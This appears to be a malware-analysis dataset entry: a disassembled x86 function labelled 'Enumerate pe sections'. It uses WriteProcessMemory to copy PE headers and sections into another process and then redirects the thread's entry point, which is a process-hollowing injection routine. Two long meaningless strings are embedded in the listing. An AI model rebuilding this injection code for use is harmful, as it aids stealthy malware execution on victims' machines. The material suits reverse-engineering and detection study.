Function at 0x405fa8
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x413e78
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x30
push ebx
push esi
push edi
mov eax, dword [0x4ab1c8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], ecx
and dword [ebp - 4], 0
push 0x4465d4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
call dword [eax + 0x24]
push 0
mov eax, dword [ebp + 0x10]
push dword [eax + 0x54]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [0x4ac304]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x24], str.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
and dword [ebp - 0x18], 0
jmp 0x406019
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x10]
movzx eax, word [eax + 6]
cmp dword [ebp - 0x18], eax
jge 0x40606f
mov dword [ebp - 0x28], str.wwsHJd1p2gq7kKKA6IbscOuGgBroS56emPdzKHkztV7buc8EdSa8rGwlQdhg9j5LDgcbW2Sn855YuNcJBixRzYtlwxonJ1c423PEcz3rCCimCQKQHWGu9guto5sXjsQXetY2bAi845CvpWieWToNrUUa6R3KN75yUUPll6hv7vQ8F4TfNlPwx9bzNvBToSy5PO3yRYKkTyDmurlyIuAlh2Sy9cv2yWA2FHAzJXE27uuNdI0XdFAVfpLFjIXc2Oa5ccThGA2MW5RvsNUvKibRO0Ic0p8WMlR5bWKudc5t5K6WIPp1wTYVrVnNoHbqiFuzxyAWJwahPEUeispUpDDl32y4QKoO2TO4CdYwTEf9dSVorTnhInwYnFgPahzO1ffb9Uzy95fSmcyUNjvYgYoxkj3KMCKyhKzDbPyYvT2IKW3VjbE6PrpHAcB8KGRD7QcpOewGO2Byr7yYaliVjK75BpL0zXM57haB7puvCe83Vc55MWx0v3seATv6hxcn65aAcLOgi6TwhkyIVtaWiwKEvoVRr3JubFyTcOiEU1k13bNOAHAIxrJR6tiq8ISNJKijd65qof0gk1vJYNPpa8vgRx0CUm4bnn0LreJdjRDIGGgiDdAj43ze6Oy1TkxU2VVp1WdB8J5wfCxNlJcW9GO6OnFQICvMP7YC83PbYClwDOJY9uC2oBwaO784uK1XfWHX0nksO2whYP61nTstIumFGITkRQ3aWNgcOTORknW3XPLxALYp75pMKL601CpsUntiPEOR0R0MJzNFDc38za7E7BV8CiSsmEOqhIdO3wf9Yk9VDBcb6FjpCsMtQL59M1mYpij2tdnvU1BkXKCiHxf4Vkcwrrw2X8SxwDLM3DfVg6TkgI7oqQxDq5MrClB2SYJSS6FkhjOceBEPqW8CjHd6hpo573FxSUXYP4uPuAdMAclcE9KjqkEloPW3cHRmtzd3G44rIDHQB2mempI0Q0HetFwAC5iOvWMtLEDeOsHi4VYdh9qrH4vA06kIHuWE4mDPrtQglTIGfeoPl3RA50Eba8K7eOE3urmV5iIvFCskXQCjOdGz7i8JYziawxcDqbaN4SFWV7IcylEec0dKVyhVb6zWpIcyIQUBN8us1Gv0RMjGf7mHIsRojaohg0dly58MH2oUyuS8gQjc0CHaEK1HE6GDVzE0kQVVeAX7Yu7GAMjLKRt7Thhof2ueNeQ0Jq9RMWaPtvAsgpMP4zvHFVyXUV3XMl0gIpbBSjoL09OYb9ahMJkjdIbPgAFthPd8tK6oWWnAgTuqLXJr0I4vKGPqW4EudXQfpsgeRIlNShBM3kTmDgatPFpcc8mhuloOTzrRcpQrlgP6Egt8x5M7pvah5bdU80RQQk4EyLJ8LaHjjbzWgAW7z5BBve9ismijvCmxbk9BX2bVzuPa4bAWwSJRc8UvT93C0QwFuXUoNcg5qhPDyU4NcqQXtiwqdX5c0KEu0q8FCbzdNKDV24lAWDOETwOHCHcTh3CqfmhLv68ptEjcGytpELaiJVJPWqeHYm9KV5mAnxf5QVUH8hgakJSP74tCFqYCGlDxTBSD3xuW0HyJl4iD6awO4XtfVejMixkJ6FUYhBH5BlkJIHTogo7lv5sauu5oata4DJ0hFF0S0nma2WcPhse7fmqbK9bGYCU7MUcJI8I49zLzrv3eH7WnY9BqKhu2Tp4hV37b
mov eax, dword [ebp - 0x18]
imul eax, eax, 0x28
add eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x18]
mov ecx, dword [ecx + 0x3c]
lea eax, [eax + ecx + 0xf8]
mov dword [ebp - 0x1c], eax
push 0
mov eax, dword [ebp - 0x1c]
push dword [eax + 0x10]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x14]
push ecx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0xc]
push ecx
push dword [0x4ac304]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x406012
push 0
push 4
mov eax, dword [ebp + 0x10]
add eax, 0x34
push eax
mov eax, dword [ebp + 0x14]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [0x4ac304]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x28]
mov eax, dword [ebp + 0x14]
mov dword [eax + 0xb0], ecx
mov al, 1
jmp 0x4060f2
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 0x14